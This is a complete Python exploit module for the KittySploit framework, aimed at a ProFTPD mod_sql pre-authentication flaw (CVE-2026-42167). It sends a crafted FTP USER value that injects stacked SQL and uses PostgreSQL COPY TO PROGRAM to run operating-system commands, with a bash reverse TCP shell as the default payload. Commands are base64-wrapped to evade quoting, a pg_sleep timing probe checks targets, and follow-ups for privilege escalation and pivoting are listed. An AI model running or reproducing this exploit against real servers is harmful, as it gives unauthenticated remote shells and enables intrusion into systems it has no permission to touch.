ProFTPD mod_sql is_escaped_text() pre-auth RCE (CVE-2026-42167)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-42167 — ProFTPD mod_sql pre-auth SQLi → PostgreSQL COPY TO PROGRAM RCE."""

from __future__ import annotations

import base64
import socket
import threading
import time
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client


class Module(Exploit, Tcp_scanner_client):
    __info__ = {
        "name": "ProFTPD mod_sql is_escaped_text() pre-auth RCE (CVE-2026-42167)",
        "description": (
            "CVE-2026-42167: ProFTPD mod_sql skips escaping when is_escaped_text() decides a "
            "value is already quoted. A crafted FTP USER value that starts and ends with a "
            "single quote (and contains none in between) injects stacked SQL into SQLLog / "
            "SQLNamedQuery templates. With a PostgreSQL backend whose role can COPY TO PROGRAM, "
            "this yields unauthenticated OS command execution on the database host as the "
            "postgres user. Affects ProFTPD through 1.3.9; fixed in 1.3.9a / 1.3.10rc1."
        ),
        "author": ["ZeroPath", "KittySploit Team"],
        "cve": ["CVE-2026-42167"],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-42167",
            "https://www.openwall.com/lists/oss-security/2026/05/01/4",
            "https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce",
            "https://github.com/proftpd/proftpd/issues/2052",
            "https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc",
        ],
        "tags": [
            "proftpd",
            "ftp",
            "mod_sql",
            "postgresql",
            "sqli",
            "rce",
            "unauthenticated",
            "preauth",
            "cwe-89",
            "cwe-78",
            "cve-2026-42167",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["proftpd", "ftp", "postgresql"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/ftp/exploits/proftpd_mod_sql_cve_2026_42167_stor_rce",
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(21, "FTP port", True)
    timeout = OptPort(10, "FTP socket timeout (seconds)", False, advanced=True)
    command = OptString(
        "",
        "OS command for COPY TO PROGRAM (overrides payload when set; no single quotes)",
        required=False,
    )
    sleep_seconds = OptInteger(
        3,
        "Seconds for check() pg_sleep timing probe",
        required=False,
        advanced=True,
    )
    inject_timeout = OptInteger(
        300,
        "FTP session timeout while COPY TO PROGRAM holds the connection open",
        required=False,
        advanced=True,
    )

    # Dollar-quote tag for the PROGRAM string — avoid bare $$ colliding with payloads.
    _DOLLAR_TAG = "ks"

    def _ftp_timeout(self) -> float:
        try:
            return float(self.timeout or 10)
        except Exception:
            return 10.0

    def _ftp_cmd(
        self,
        host: str,
        port: int,
        commands: list,
        timeout: Optional[float] = None,
    ) -> str:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout if timeout is not None else self._ftp_timeout())
        try:
            sock.connect((host, port))
            resp = b""
            try:
                resp += sock.recv(4096)
            except socket.timeout:
                pass
            for cmd in commands:
                sock.sendall((cmd + "\r\n").encode("utf-8", errors="replace"))
                time.sleep(0.4)
                try:
                    resp += sock.recv(4096)
                except socket.timeout:
                    pass
            return resp.decode("utf-8", errors="replace")
        finally:
            try:
                sock.close()
            except Exception:
                pass

    def _banner(self, host: str, port: int) -> Tuple[bool, str]:
        try:
            text = self._ftp_cmd(host, port, ["QUIT"])
        except Exception as exc:
            return False, str(exc)
        line = text.split("\n", 1)[0].strip() if text else ""
        return "220" in text, line

    @classmethod
    def _passes_is_escaped_text(cls, user_value: str) -> bool:
        if len(user_value) < 2:
            return False
        if user_value[0] != "'" or user_value[-1] != "'":
            return False
        return "'" not in user_value[1:-1]

    @classmethod
    def _quote_safe_shell(cls, command: str) -> str:
        """Rewrite command so the FTP USER value has no internal single quotes / $$."""
        cmd = command.strip()
        if not cmd:
            raise ValueError("empty command")
        if "'" not in cmd and "$$" not in cmd and f"${cls._DOLLAR_TAG}$" not in cmd:
            return cmd
        encoded = base64.b64encode(cmd.encode("utf-8")).decode("ascii")
        wrapped = f"echo {encoded}|base64 -d|bash"
        if "'" in wrapped or "$$" in wrapped:
            raise ValueError("unable to build quote-safe shell command")
        return wrapped

    @classmethod
    def _build_user_payload(cls, shell_cmd: str) -> str:
        tag = cls._DOLLAR_TAG
        safe = cls._quote_safe_shell(shell_cmd)
        # Matches PoC shape for SQLNamedQuery INSERT "'%U', '%r', '%m'" ...
        payload = (
            f"', null, null); "
            f"COPY (SELECT ${tag}$x${tag}$) TO PROGRAM "
            f"${tag}${safe}${tag}$"
            f"; --'"
        )
        if not cls._passes_is_escaped_text(payload):
            raise ValueError(
                "SQLi USER payload fails is_escaped_text() constraints "
                "(command must not introduce single quotes)"
            )
        return payload

    @classmethod
    def _build_sleep_payload(cls, seconds: int) -> str:
        sec = max(1, int(seconds))
        payload = f"', null, null); SELECT pg_sleep({sec}); --'"
        if not cls._passes_is_escaped_text(payload):
            raise ValueError("sleep probe payload invalid")
        return payload

    def _resolve_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual
        command = str(self.payload or "").strip()
        if command:
            return command
        raise ValueError(
            "No payload or command specified — set payload "
            "(e.g. payloads/singles/cmd/unix/bash_reverse_tcp) or command"
        )

    def _fire_injection(self, host: str, port: int, user_payload: str) -> None:
        timeout = max(int(self.inject_timeout or 300), 30)
        try:
            self._ftp_cmd(
                host,
                port,
                [f"USER {user_payload}", "PASS x", "QUIT"],
                timeout=float(timeout),
            )
        except Exception:
            # COPY TO PROGRAM holds the FTP worker until the shell exits; timeouts/resets are expected.
            pass

    def check(self):
        host = self._host()
        port = self._port()
        if not host:
            return {
                "vulnerable": False,
                "reason": "Target host is required",
                "confidence": "low",
            }
        if not self.is_tcp_open(host=host, port=port):
            return {
                "vulnerable": False,
                "reason": f"TCP {host}:{port} is closed",
                "confidence": "high",
            }

        ok, banner = self._banner(host, port)
        if not ok:
            return {
                "vulnerable": False,
                "reason": f"No FTP banner ({banner or 'empty'})",
                "confidence": "medium",
            }

        proftpd = "proftpd" in banner.lower()
        sleep_s = max(1, int(self.sleep_seconds or 3))
        probe = self._build_sleep_payload(sleep_s)
        started = time.time()
        try:
            self._ftp_cmd(
                host,
                port,
                [f"USER {probe}", "PASS x", "QUIT"],
                timeout=float(sleep_s + 8),
            )
        except Exception:
            pass
        elapsed = time.time() - started

        if elapsed >= (sleep_s - 0.4):
            detail = (
                f"Pre-auth stacked SQL confirmed via pg_sleep({sleep_s}) "
                f"(elapsed {elapsed:.1f}s)"
            )
            if banner:
                detail += f"; banner: {banner}"
            return {
                "vulnerable": True,
                "reason": detail,
                "confidence": "high",
            }

        if proftpd:
            return {
                "vulnerable": False,
                "reason": (
                    f"ProFTPD banner seen ({banner}) but pg_sleep timing probe did not delay; "
                    "mod_sql+postgres+SQLLog may be absent, patched (>=1.3.9a), or not logging %U"
                ),
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": f"FTP reachable ({banner or 'no ProFTPD hint'}) but SQLi probe negative",
            "confidence": "medium",
        }

    def run(self):
        host = self._host()
        port = self._port()
        if not host:
            print_error("Target host is required")
            return False

        print_status("CVE-2026-42167 — ProFTPD mod_sql pre-auth COPY TO PROGRAM RCE")
        print_info(f"Target FTP: {host}:{port}")

        ok, banner = self._banner(host, port)
        if not ok:
            print_error(f"No FTP banner received ({banner or 'empty'})")
            self.not_vulnerable()
            return False
        print_success(f"Banner: {banner}")

        try:
            shell_cmd = self._resolve_command()
            user_payload = self._build_user_payload(shell_cmd)
            safe_shell = self._quote_safe_shell(shell_cmd)
        except ValueError as exc:
            print_error(str(exc))
            return False

        print_status("Launching reverse/command via pre-auth SQL injection...")
        print_info(f"Shell command: {safe_shell[:140]}{'...' if len(safe_shell) > 140 else ''}")
        print_info(
            f"SQLi USER payload: {len(user_payload)} bytes, passes is_escaped_text()"
        )
        print_info(
            "Requires mod_sql + PostgreSQL with COPY TO PROGRAM rights "
            "(superuser / pg_execute_server_program) and SQLLog of %U"
        )

        # COPY TO PROGRAM blocks the FTP session for the life of the child process —
        # fire in the background so the framework listener can accept the connect-back.
        threading.Thread(
            target=self._fire_injection,
            args=(host, port, user_payload),
            daemon=True,
        ).start()

        print_success("Injection dispatched; waiting for payload callback if applicable")
        self.vulnerable()
        return True